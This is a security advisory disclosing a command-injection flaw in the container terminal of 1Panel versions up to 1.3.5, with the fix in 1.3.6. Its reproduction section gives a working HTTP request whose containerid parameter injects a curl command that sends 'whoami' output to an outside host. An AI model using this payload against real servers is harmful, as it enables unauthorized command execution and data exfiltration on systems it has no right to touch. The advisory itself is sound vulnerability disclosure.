1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal. The vulnerability has been fixed in v1.3.6.

Affected: Go: github.com/1Panel-dev/1Panel

### Impact

The authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal.

1. Vulnerability analysis.

``` backend\app\api\v1\terminal.go#ContainerWsSsh ``` 

2. vulnerability reproduction.

``` GET /api/v1/containers/exec?cols=80&rows=24&containerid=/bin/bash||curl%20http://192.168.109.1:12345/`whoami`||&user=asd&command=/bin/bash HTTP/1.1 Host: 192.168.109.152:40982 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Sec-WebSocket-Version: 13 Origin: http://192.168.109.152:40982 Sec-WebSocket-Key: cOEWTRgkjxVppuhzAfOUWQ== Connection: keep-alive, Upgrade Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e Pragma: no-cache Cache-Control: no-cache Upgrade: websocket ```

3. The successful execution of system commands. 

Affected versions: <= 1.3.5

### Patches

The vulnerability has been fixed in v1.3.6.

### Workarounds

It is recommended to upgrade the version to v1.3.6.

### References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/1Panel-dev/1Panel Email us at wanghe@fit2cloud.com